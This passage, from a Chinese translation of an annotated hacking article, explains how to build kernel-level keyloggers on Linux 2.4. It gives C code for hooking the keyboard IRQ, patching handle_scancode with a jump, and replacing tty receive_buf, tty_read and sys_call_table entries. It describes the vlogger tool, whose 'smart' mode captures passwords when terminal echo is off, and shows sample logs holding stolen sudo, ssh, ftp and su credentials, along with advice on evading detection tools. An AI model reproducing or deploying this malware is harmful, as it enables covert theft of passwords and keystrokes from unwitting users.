3 - 基于内核的键盘纪录器的实现步骤
我们论述两种实现方法,一个是书写我们自己的键盘中断句柄,另一个是劫持输入进程函数.
----[ 3.1 - 中断句柄
要纪录击键信息,我们就要利用我们自己的键盘中断。在Intel体系下,控制键盘的IRQ值是1。
当接受到一个键盘中断时,我们的键盘中断器会读取scancode和键盘的状态。读写键盘事件
都是通过0x60端口(键盘数据注册器)和0x64(键盘状态注册器)来实现的。
/* 以下代码都是intel格式 */
#define KEYBOARD_IRQ 1
#define KBD_STATUS_REG 0x64
#define KBD_CNTL_REG 0x64
#define KBD_DATA_REG 0x60
#define kbd_read_input() inb(KBD_DATA_REG)
#define kbd_read_status() inb(KBD_STATUS_REG)
#define kbd_write_output(val) outb(val, KBD_DATA_REG)
#define kbd_write_command(val) outb(val, KBD_CNTL_REG)
/* 注册我们的IRQ句柄*/
request_irq(KEYBOARD_IRQ, my_keyboard_irq_handler, 0, "my keyboard", NULL);
在my_keyboard_irq_handler()函数中定义如下:
scancode = kbd_read_input();
key_status = kbd_read_status();
log_scancode(scancode);
这种方法不方便跨平台操作。而且很容易crash系统,所以必须小心操作你的终端句柄。
----[ 3.2 - 函数劫持
在第一种思路的基础上,我们还可以通过劫持handle_scancode(),put_queue(),receive_buf(),
tty_read()或者sys_read()等函数来实现我们自己的键盘纪录器。注意,我们不能劫持
tty_insert_flip_char()函数,因为它是一个内联函数。
------[ 3.2.1 - handle_scancode函数
它是键盘驱动程序中的一个入口函数(有兴趣可以看内核代码keynoard.c)。
# /usr/src/linux/drives/char/keyboard.c
void handle_scancode(unsigned char scancode, int down);
我们可以这样,通过替换原始的handle_scancode()函数来实现纪录所有的scancode。这就我们
在lkm后门中劫持系统调用是一个道理,保存原来的,把新的注册进去,实现我们要的功能,再调用
回原来的,就这么简单。就是一个内核函数劫持技术。
/* below is a code snippet written by Plasmoid */
static struct semaphore hs_sem, log_sem;
static int logging=1;
#define CODESIZE 7
static char hs_code[CODESIZE];
static char hs_jump[CODESIZE] =
"\xb8\x00\x00\x00\x00" /* movl $0,%eax */
"\xff\xe0" /* jmp *%eax */
;
void (*handle_scancode) (unsigned char, int) =
(void (*)(unsigned char, int)) HS_ADDRESS;
void _handle_scancode(unsigned char scancode, int keydown)
{
if (logging && keydown)
log_scancode(scancode, LOGFILE);
/*恢复原始handle_scancode函数的首几个字节代码。调用恢复后的原始函数并且
*再次恢复跳转代码。
*/
down(&hs_sem);
memcpy(handle_scancode, hs_code, CODESIZE);
handle_scancode(scancode, keydown);
memcpy(handle_scancode, hs_jump, CODESIZE);
up(&hs_sem);
}
HS_ADDRESS这个地址在执行Makefile文件的时候定义:
HS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode))
其实就是handle_scancode在ksyms导出的地址。
类似3.1节中提到的方法,这种方法对在X和终端下纪录键盘击键也很有效果,和是否调用
tty无关。这样你就可以纪录下键盘上的正确的击键行为了(包括一些特殊的key,如ctrl,alt,
shift,print screen等等)。但是这种方法也是不能跨平台操作,毕竟是靠lkm实现的。同样
它也不能纪录远程会话的击键并且也很难构成相当复杂的高级纪录器。
------[ 3.2.2 - put_queue函数
handle_scancode()函数会调用put_queue函数,用来将字符放入tty_queue。
/*e4gle add
put_queue函数在内核中定义如下:
void put_queue(int ch)
{
wake_up(&keypress_wait);
if (tty) {
tty_insert_flip_char(tty, ch, 0);
con_schedule_flip(tty);
}
}
*/
# /usr/src/linux/drives/char/keyboard.c
void put_queue(int ch);
劫持这个函数,我们可以利用和上面劫持handle_scancode函数同样的方法。
------[ 3.2.3 - receive_buf函数
底层tty驱动调用receive_buf()这个函数用来发送硬件设备接收处理的字符。
# /usr/src/linux/drivers/char/n_tty.c */
static void n_tty_receive_buf(struct tty_struct *tty, const
unsigned char *cp, char *fp, int count)
参数cp是一个指向设备接收的输入字符的buffer的指针。参数fp是一个指向一个标记字节指针的指针。
让我们深入的看一看tty结构
# /usr/include/linux/tty.h
struct tty_struct {
int magic;
struct tty_driver driver;
struct tty_ldisc ldisc;
struct termios *termios, *termios_locked;
...
}
# /usr/include/linux/tty_ldisc.h
struct tty_ldisc {
int magic;
char *name;
...
void (*receive_buf)(struct tty_struct *,
const unsigned char *cp, char *fp, int count);
int (*receive_room)(struct tty_struct *);
void (*write_wakeup)(struct tty_struct *);
};
要劫持这个函数,我们可以先保存原始的tty receive_buf()函数,然后重置ldisc.receive_buf到
我们的new_receive_buf()函数来记录用户的输入。
举个例子:我们要记录在tty0设备上的输入。
int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);
struct tty_struct *tty = file->private_data;
old_receive_buf = tty->ldisc.receive_buf; //保存原始的receive_buf()函数
tty->ldisc.receive_buf = new_receive_buf; //替换成新的new_receive_buf函数
//新的new_receive_buf函数
void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
char *fp, int count)
{
logging(tty, cp, count); //纪录用户击键
/* 调用回原来的receive_buf */
(*old_receive_buf)(tty, cp, fp, count);
}
/*e4gle add
其实这里新的new_receive_buf函数只是做了个包裹,技术上实现大同小异,包括劫持系统调用
内核函数等,技术上归根都比较简单,难点在于如何找到切入点,即劫持哪个函数可以达到目的,或者
效率更高更稳定等,这就需要深入了解这些内核函数的实现功能。
*/
------[ 3.2.4 - tty_read函数
当一个进程需要通过sys_read()函数来读取一个tty终端的输入字符的时候,tty_read函数就会被调用。
# /usr/src/linux/drives/char/tty_io.c
static ssize_t tty_read(struct file * file, char * buf, size_t count,
loff_t *ppos)
static struct file_operations tty_fops = {
llseek: tty_lseek,
read: tty_read,
write: tty_write,
poll: tty_poll,
ioctl: tty_ioctl,
open: tty_open,
release: tty_release,
fasync: tty_fasync,
};
还是举上面的纪录来自tty0的输入信息的例子:
int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);
old_tty_read = file->f_op->read; //保存原来的tty_read
file->f_op->read = new_tty_read; //替换新的tty_read函数
/*e4gle add
劫持这个函数的具体实现代码就不多说了,和上面是一样的,我这里写出来给大家参考一下:
static ssize_t new_tty_read(struct file * file, char * buf, size_t count,
loff_t *ppos)
{
struct tty_struct *tty = file->private_data;
logging(tty, buf, count); //纪录用户击键
/* 调用回原来的tty_read */
(*old_tty_read)(file, buf, count, ppos);
}
*/
------[ 3.2.5 - sys_read/sys_write函数
截获sys_read/sys_write这两个系统调用来实现的技术我不说了,在很早的quack翻译
的“linux内核可加载模块编程完全指南”中就提到了这种技术,在我写的“linux kernel hacking”
若干教程中也明明白白反反复复提到过,phrack杂志也早在50期的第四篇文章里也介绍到,
如果大家不明白请参考以上文献。
我提供以下code来实现劫持sys_read和sys_write系统调用:
extern void *sys_call_table[];
original_sys_read = sys_call_table[__NR_read];
sys_call_table[__NR_read] = new_sys_read;
当然除了替换sys_call_table表之外还有很多方法,在phrack59中的高级kernel hacking一文
中详细针对现有的几种劫持系统调用的方法有演示代码,这里不多做介绍了。
--[ 4 - vlogger
这节介绍一下一个内核键盘纪录器vlogger,是本文的原作者的大作,它是通过3.2.3节中
介绍的方法来实现纪录用户击键的,也利用了劫持sys_read/sys_write系统调用来做补充。
vlogger在如下内核中测试通过:2.4.5,2.4.7,2.4.17,2.4.18。
----[ 4.1 - 步骤
要记录下本地(纪录终端的信息)和远程会话的键盘击键 ,我选择劫持receive_buf函数的
方法(见3.2.3节)。
在内核中,tty_struct和tty_queue结构仅仅在tty设备打开的时候被动态分配。因而,我们
同样需要通过劫持sys_open系统调用来动态的hooking这些每次调用时的每个tty或pty的
receive_buf()函数。
// 劫持sys_open调用
original_sys_open = sys_call_table[__NR_open];
sys_call_table[__NR_open] = new_sys_open;
// new_sys_open()
asmlinkage int new_sys_open(const char *filename, int flags, int mode)
{
...
//调用original_sys_open
ret = (*original_sys_open)(filename, flags, mode);
if (ret >= 0) {
struct tty_struct * tty;
...
file = fget(ret);
tty = file->private_data;
if (tty != NULL &&
...
tty->ldisc.receive_buf != new_receive_buf) {
...
// 保存原来的receive_buf
old_receive_buf = tty->ldisc.receive_buf;
...
/*
* 开始劫持该tty的receive_buf函数
* tty->ldisc.receive_buf = new_receive_buf;
*/
init_tty(tty, TTY_INDEX(tty));
}
...
}
// 我们的新的receive_buf()函数
void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
char *fp, int count)
{
if (!tty->real_raw && !tty->raw) // 忽略 raw模式
// 调用我们的logging函数来记录用户击键
vlogger_process(tty, cp, count);
// 调用回原来的receive_buf
(*old_receive_buf)(tty, cp, fp, count);
}
----[ 4.2 - 功能及特点
- 可以记录本地和远程会话的所有击键(通过tty和pts)
- 按每个tty/会话分开纪录。每个tty都有他们自己的纪录缓冲区。
- 几乎支持所有的特殊键如方向键(left,riht,up,down),F1到F12,Shift+F1到Shift+F12,
Tab,Insert,Delete,End,Home,Page Up,Page Down,BackSpace,等等
- 支持一些行编辑键包括ctrl-U和BackSpace键等。
- 时区支持
- 多种日志模式
o dumb模式: 纪录所有的击键行为
o smart模式: 只记录用户名/密码。这里我用了solar designer和dug song的"Passive Analysis
of SSH (Secure Shell) Traffic"文章中的一个小技术来实现的。当应用程序返回的
输入回显关闭的时候(就是echo -off),就认为那是用户在输入密码,我们过滤下来
就是了:)
o normal模式: 禁止纪录
用户可以通过利用MAGIC_PASS宏和VK_TOGLE_CHAR宏(MAGIC_PASS这个宏定义了切换密
码,VK_TOGLE_CHAR定义了一个keycode来做为切换热键)来切换日志模式。
#define VK_TOGLE_CHAR 29 // CTRL-]
#define MAGIC_PASS "31337" //要切换日志模式,输入MAGIC_PASS,然后敲击VK_TOGLE_CHAR键
----[ 4.3 - 如何使用
以下是一些可改变的选项
// 日志存放路径的宏
#define LOG_DIR "/tmp/log"
// 本地的时区
#define TIMEZONE 7*60*60 // GMT+7
// 切换日志模式的密码的宏
#define MAGIC_PASS "31337"
以下列出了纪录后的日志目录结构:
[e4gle@redhat72 log]# ls -l
total 60
-rw------- 1 root root 633 Jun 19 20:59 pass.log
-rw------- 1 root root 37593 Jun 19 18:51 pts11
-rw------- 1 root root 56 Jun 19 19:00 pts20
-rw------- 1 root root 746 Jun 19 20:06 pts26
-rw------- 1 root root 116 Jun 19 19:57 pts29
-rw------- 1 root root 3219 Jun 19 21:30 tty1
-rw------- 1 root root 18028 Jun 19 20:54 tty2
---在dumb模式中
[e4gle@redhat72 log]# head tty2 //本地会话
<19/06/2002-20:53:47 uid=501 bash> pwd
<19/06/2002-20:53:51 uid=501 bash> uname -a
<19/06/2002-20:53:53 uid=501 bash> lsmod
<19/06/2002-20:53:56 uid=501 bash> pwd
<19/06/2002-20:54:05 uid=501 bash> cd /var/log
<19/06/2002-20:54:13 uid=501 bash> tail messages
<19/06/2002-20:54:21 uid=501 bash> cd ~
<19/06/2002-20:54:22 uid=501 bash> ls
<19/06/2002-20:54:29 uid=501 bash> tty
<19/06/2002-20:54:29 uid=501 bash> [UP]
[e4gle@redhat72 log]# tail pts11 // 远程会话
<19/06/2002-18:48:27 uid=0 bash> cd new
<19/06/2002-18:48:28 uid=0 bash> cp -p ~/code .
<19/06/2002-18:48:21 uid=0 bash> lsmod
<19/06/2002-18:48:27 uid=0 bash> cd /va[TAB][^H][^H]tmp/log/
<19/06/2002-18:48:28 uid=0 bash> ls -l
<19/06/2002-18:48:30 uid=0 bash> tail pts11
<19/06/2002-18:48:38 uid=0 bash> [UP] | more
<19/06/2002-18:50:44 uid=0 bash> vi vlogertxt
<19/06/2002-18:50:48 uid=0 vi> :q
<19/06/2002-18:51:14 uid=0 bash> rmmod vlogger
---在smart模式中
[e4gle@redhat72 log]# cat pass.log
[19/06/2002-18:28:05 tty=pts/20 uid=501 sudo]
USER/CMD sudo traceroute yahoo.com
PASS 5hgt6d
PASS
[19/06/2002-19:59:15 tty=pts/26 uid=0 ssh]
USER/CMD ssh guest@host.com
PASS guest
[19/06/2002-20:50:44 tty=pts/29 uid=504 ftp]
USER/CMD open ftp.ilog.fr
USER Anonymous
PASS heh@heh
[19/06/2002-20:59:54 tty=pts/29 uid=504 su]
USER/CMD su -
PASS asdf1234
--[ 5 - 感谢
感谢plasmoid, skyper的大力帮助,感谢THC,vnsecurity等组织的所有朋友们。
最后,感谢thang先生的英文翻译。
//e4gle add
到此,全文介绍完了,大家有兴趣可以试试代码,其实这里涉及的技术无非还是系统调用和内核函数
的劫持技术,我整理过的一篇tty劫持的文章,大家也可以对比一下。其实vlogger也有一定的缺陷,
它还是通过sys_call_table的方法来劫持系统调用open的,那很容易被kstat等工具发现,关于更
隐藏的劫持技术在phrack59的advance kernel hacking一文里有5个例子详细介绍了更多的办法,
大家可以参考这些文献。
--[ 6 - 参考资料
[1] Linux Kernel Module Programming
[2] Complete Linux Loadable Kernel Modules - Pragmatic
[3] The Linux keyboard driver - Andries Brouwer
[4] Abuse of the Linux Kernel for Fun and Profit - Halflife
[5] Kernel function hijacking - Silvio Cesare
[6] Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer
[7] Kernel Based Keylogger - Mercenary
http://packetstorm.decepticons.org/UNIX/security/kernel.keylogger.txt